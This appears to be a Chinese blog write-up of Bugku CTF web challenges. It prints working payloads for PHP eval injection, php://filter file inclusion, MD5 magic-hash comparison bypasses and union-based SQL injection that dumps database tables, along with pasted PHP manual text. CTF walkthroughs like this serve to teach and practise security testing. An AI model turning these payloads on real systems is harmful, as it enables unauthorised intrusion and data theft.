bugku

web1:

一打开看见这个,按f12试试
在这里插入图片描述

在这里插入图片描述

web2

在这里插入图片描述
只能输入一个数,按f12试试

在这里插入图片描述
最大长度为1,改成10,输入答案得到flag
在这里插入图片描述

web3:

在这里插入图片描述
使用get传参,输入?what=flag得到flag
在这里插入图片描述

web4:

在这里插入图片描述
使用post传参,可以使用火狐的hackbar进行post传参,得到flag
在这里插入图片描述

web5:

在这里插入图片描述
分析代码,num要不是数字且num==1,因为PHP是弱类型语言,可以输入?num=1x,得到flag
在这里插入图片描述

web6:

出现这个
在这里插入图片描述
打开f12试试,发现一些奇怪的数
在这里插入图片描述
可能需要解码,拿去解码
在这里插入图片描述
得到flag

web7

在这里插入图片描述
当停到熊猫时,可以得到flag,我们抓包试试。
在这里插入图片描述
弄到重发器一直发送
在这里插入图片描述
终于得到flag

web8

在这里插入图片描述
eval()会将里面的东西当成PHP代码来执行
var_dump()会将里面的东西打印出来
输入?hello=(‘flag.php’)
在这里插入图片描述
也可以构建语句输入?hello=1);print_r(file(“flag.php”)
等于eval(“var_dump(1);print_r(file(“flag.php”)”)

也可以构成本地文件包含漏洞
在这里插入图片描述
得到flag.php的base64编码,然后解码得到
在这里插入图片描述

web9:

在这里插入图片描述
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。看到两个&&,因此可以构造全局数组变量?args=GLOBALS
在这里插入图片描述

web10:

在这里插入图片描述
打开f12
在这里插入图片描述
还是什么都没有,抓包试试
在这里插入图片描述
找到flag

web11:

在这里插入图片描述
可能存在黑客的webshell,使用御剑查看网站后台,得到两个
在这里插入图片描述
一个一个试,发现shell.php有用
在这里插入图片描述
在这里插入图片描述

然后开始使用burpsuite爆破密码,得到密码为hack
在这里插入图片描述

web12

打开f12,发现一串密文
在这里插入图片描述
base64解密得到test123,可能为密码尝试登录
在这里插入图片描述
随便登录一个数,发现要本地ip,于是可以抓包改xxf,值为127.0.0.1
在这里插入图片描述
得到flag

web13

按f12
在这里插入图片描述
拿去解码得到
在这里插入图片描述
输入67d709b2b54aa2aa648cf6e87a7114f1得到flag
在这里插入图片描述

web14:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php:// filter在双关的情况下也可以正常使用;
条件:
不需要开启allow_url_fopen,仅php:// input,php:// stdin,php:// memory和php:// temp需要开启allow_url_include 。

php://访问各个输入/输出流(I / O流),在CTF中经常使用的是php:// filter和php:// input,php:// filter用于读取源码,​​php:/ / input用于执行php代码。

<?php  
$filename=$_GET["a"];  
$data="test test";  
file_put_contents($filename, $data);  
?>  

PHP file_put_contents()函数
payload=http://127.0.0.1/xxx.php?a=php://filter/write=string.tolower/resource=test.php
可以往服务器中写入一个文件内容全为小写且文件称为test.php的文件:

<?php  
$filename=$_GET["a"];  
echo file_get_contents($filename);  
?>  

PHP file_get_contents()函数
file_get_contents()的$ filename参数只是完全文件路径,还可以是一个URL(伪协议)
payload=http://127.0.0.1/xxx.php?a=php://filter/convert.base64-encode/resource=test.php
。test.php的内容以base64编码的方式显示出来

例如在 allow_url_include = on 时服务器上有个文件叫 index.php,且存在文件包含漏洞,这个时候就能用 php 伪协议直接把文件显示出来。

?file=php://filter/read=convert.base64-encode/resource=index.php
稍微解释下这个做法,php://filter/ 是一种访问本地文件的协议,/read=convert.base64-encode/ 表示读取的方式是 base64 编码后,resource=index.php 表示目标文件为index.php。问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。php 协议还常用 php://input,这可以访问请求的原始数据的只读流,可以读取 POST 请求的参数。

于是可以输入http://114.67.246.176:18438/index.php?file=php://filter/convert.base64-encode/resource=index.php使index.php内容以base64编码的方式显示出来
在这里插入图片描述
使用base64解码

<html>
    <title>Bugku-web</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{86994992f2edb03849d2d59ba5076765}
?>
</html>

得到flag。

或者直接输入http://114.67.246.176:18438/index.php?file=//flag
在这里插入图片描述

第15题:

在这里插入图片描述
需要五位数的密码
使用bp爆破得到密码为12468
输入12468得到flag
在这里插入图片描述

第16题:

根据题目描述,备份是个好习惯,可以推测有备份文件,所以我们可以使用御剑来扫一下后台。
在这里插入图片描述
输入/index.pgp.bak得到备份文件
在这里插入图片描述
在输入/flag.php
在这里插入图片描述
什么都没有得到,于是我们开始分析备份文件。很明显这是一个md5漏洞
1.var_dump( 0 == “a” );
2.var_dump( “0” == “a” );

第一个返回的是 true ,第二个返回的是 false
因为php把字母开头的转化为整型时,转化为0, 前面数字后面字母的话就只取到第一个字母出现的位置之前(如intval(’'123abd45gf)结果为123)

要求满足上述条件则
那么要求name和password数值不同但是MD5相同,在这里可以利用绕过。
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

以下值在md5加密后以0E开头:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
以下值在sha1加密后以0E开头:

sha1(‘aaroZmOk’)
sha1(‘aaK1STfY’)
sha1(‘aaO8zKZF’)
sha1(‘aa3OFF9m’)
GET传入a=QNKCDZO&b=240610708就能绕过了

也可以使用数组绕过
1] !== [2] && md5([1]) === md5([2])
所以GET传入a[]=1&b[]=2就能够绕过了

于是我们构造http://114.67.246.176:19815/?key1=QNKCDZO&key2=240610708
但是却没有显示出flag
于是我仔细观察百度每个php函数

ini_set ( string $varname , string $newvalue ) : string
设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

strstr — 查找字符串的首次出现
strstr ( string $haystack , mixed $needle , bool $before_needle = false ) : string
返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。

注意:

该函数区分大小写。如果想要不区分大小写,请使用 stristr()。

注意:

如果你仅仅想确定 needle 是否存在于 haystack 中,请使用速度更快、耗费内存更少的 strpos() 函数。

参数 ¶
haystack
输入字符串。

needle
如果 needle 不是一个字符串,那么它将被转化为整型并且作为字符的序号来使用。

before_needle
若为 true,strstr() 将返回 needle 在 haystack 中的位置之前的部分。

<?php
$email  = 'name@example.com';
$domain = strstr($email, '@');
echo $domain; // 打印 @example.com

$user = strstr($email, '@', true); // 从 PHP 5.3.0 起
echo $user; // 打印 name
?>

substr ( string $string , int $start , int $length = ? ) : string
返回字符串 string 由 start 和 length 参数指定的子字符串。

参数 ¶
string
输入字符串。必须至少有一个字符。

start
如果 start 是非负数,返回的字符串将从 string 的 start 位置开始,从 0 开始计算。例如,在字符串 “abcdef” 中,在位置 0 的字符是 “a”,位置 2 的字符串是 “c” 等等。

如果 start 是负数,返回的字符串将从 string 结尾处向前数第 start 个字符开始。

如果 string 的长度小于 start,将返回 false。

示例 #1 使用负数 start

<?php $rest = substr("abcdef", -1); // 返回 "f" $rest = substr("abcdef", -2); // 返回 "ef" $rest = substr("abcdef", -3, 1); // 返回 "d" ?>

length
如果提供了正数的 length,返回的字符串将从 start 处开始最多包括 length 个字符(取决于 string 的长度)。

如果提供了负数的 length,那么 string 末尾处的 length 个字符将会被省略(若 start 是负数则从字符串尾部算起)。如果 start 不在这段文本中,那么将返回 false。

如果提供了值为 0,false 或 null 的 length,那么将返回一个空字符串。

如果没有提供 length,返回的子字符串将从 start 位置开始直到字符串结尾。

示例 #2 使用负数 length

<?php $rest = substr("abcdef", 0, -1); // 返回 "abcde" $rest = substr("abcdef", 2, -1); // 返回 "cde" $rest = substr("abcdef", 4, -4); // 返回 "" $rest = substr("abcdef", -3, -1); // 返回 "de" ?>

返回值 ¶
返回提取的子字符串, 或者在失败时返回 false。
str_replace ( mixed $search , mixed $replace , mixed KaTeX parse error: Expected 'EOF', got '&' at position 15: subject , int &̲count = ? ) : mixed
该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。

如果没有一些特殊的替换需求(比如正则表达式),你应该使用该函数替换 ereg_replace() 和 preg_replace()。

参数 ¶
如果 search 和 replace 为数组,那么 str_replace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数,多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串,那么 search 中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。

如果 search 和 replace 都是数组,它们的值将会被依次处理。

search
查找的目标值,也就是 needle。一个数组可以指定多个目标。

replace
search 的替换值。一个数组可以被用来指定多重替换。

subject
执行替换的数组或者字符串。也就是 haystack。

如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。

count
如果被指定,它的值将被设置为替换发生的次数。

返回值 ¶
该函数返回替换后的数组或者字符串。

范例 ¶
示例 #1 str_replace() 基本范例

<?php
// 赋值: <body text='black'>
$bodytag = str_replace("%body%", "black", "<body text='%body%'>");

// 赋值: Hll Wrld f PHP
$vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
$onlyconsonants = str_replace($vowels, "", "Hello World of PHP");

// 赋值: You should eat pizza, beer, and ice cream every day
$phrase  = "You should eat fruits, vegetables, and fiber every day.";
$healthy = array("fruits", "vegetables", "fiber");
$yummy   = array("pizza", "beer", "ice cream");

$newphrase = str_replace($healthy, $yummy, $phrase);

// 赋值: 2
$str = str_replace(“ll”, “”, “good golly miss molly!”, $count);
echo $count;
?>
示例 #2 可能的 str_replace() 替换范例

<?php // 替换顺序 $str = "Line 1\nLine 2\rLine 3\r\nLine 4\n"; $order = array("\r\n", "\n", "\r"); $replace = '
'; // 首先替换 \r\n 字符,因此它们不会被两次转换 $newstr = str_replace($order, $replace, $str); // 输出 F ,因为 A 被 B 替换,B 又被 C 替换,以此类推... // 由于从左到右依次替换,最终 E 被 F 替换 $search = array('A', 'B', 'C', 'D', 'E'); $replace = array('B', 'C', 'D', 'E', 'F'); $subject = 'A'; echo str_replace($search, $replace, $subject); // 输出: apearpearle pear // 由于上面提到的原因 $letters = array('a', 'p'); $fruit = array('apple', 'pear'); $text = 'a p'; $output = str_replace($letters, $fruit, $text); echo $output; ?>

注释 ¶
注意: 此函数可安全用于二进制对象。

警告
了解替换顺序
由于 str_replace() 的替换时从左到右依次进行的,进行多重替换的时候可能会替换掉之前插入的值。参见该文档的范例。

注意:

该函数区分大小写。使用 str_ireplace() 可以进行不区分大小写的替换。

parse_str ( string KaTeX parse error: Expected 'EOF', got '&' at position 24: …string , array &̲result = ? ) : void
如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

参数 ¶
encoded_string
输入的字符串。

result
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

警告
极度不建议 在没有 result 参数的情况下使用此函数,并且在 PHP 7.2 中将废弃不设置参数的行为。

在函数中动态设置变量会和 register_globals 有同样的问题。

阅读「安全」中 使用 Register Globals 的章节,解释了它为什么是危险的。

返回值 ¶
没有返回值。

更新日志 ¶
版本 说明
7.2.0 不带第二个参数的情况下使用 parse_str() 会产生 E_DEPRECATED 警告。
范例 ¶
示例 #1 parse_str() 的使用

<?php $str = "first=value&arr[]=foo+bar&arr[]=baz"; // 推荐用法 parse_str($str, $output); echo $output['first']; // value echo $output['arr'][0]; // foo bar echo $output['arr'][1]; // baz // 不建议这么用 parse_str($str); echo $first; // value echo $arr[0]; // foo bar echo $arr[1]; // baz ?>

由于 PHP 的变量名不能带「点」和「空格」,所以它们会被转化成下划线。 用本函数带 result 参数,也会应用同样规则到数组的键名。

示例 #2 parse_str() 名称改写

<?php parse_str("My Value=Something"); echo $My_Value; // Something parse_str("My Value=Something", $output); echo $output['My_Value']; // Something ?>

注释 ¶
注意:

所有创建的变量(或者在设置第二个参数的情况下,返回数组里的值), 都已经 urldecode() 了。

注意:

要获取当前的 QUERY_STRING,可以使用 $_SERVER[‘QUERY_STRING’] 变量。 所以你可能想要阅读 来自 PHP 之外的变量这个章节。

注意:

本函数受 magic_quotes_gpc 设置的影响, 和 $_GET、 $_POST 在 PHP 中填充变量相似, parse_str() 也使用了同样的机制。

在这里插入图片描述
于是可以使用kekeyy绕过
输入http://114.67.246.176:19815/?kekeyy1=240610708&&kekeyy2=QNKCDZO
得到flag
在这里插入图片描述

第十七题:

在这里插入图片描述
输入1
在这里插入图片描述
输入1’
在这里插入图片描述
输入1’#
在这里插入图片描述
存在注入漏洞
输入order by 3
在这里插入图片描述
输入1’ order by 4#
在这里插入图片描述
输入1’ order by 5#
在这里插入图片描述
说明存在4个字段。
输入 -1’ union select 1,2,3,4#
在这里插入图片描述
得到2,3,4都可以输出数据。

输入-1’ union select 1,2,3,database()#
在这里插入图片描述
输入-1’ union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=‘skctf’)#
在这里插入图片描述
输入-1’ union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name=‘fl4g’)#
在这里插入图片描述
输入-1’ union select 1,2,3,(select group_concat(skctf_flag) from skctf.fl4g)#
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值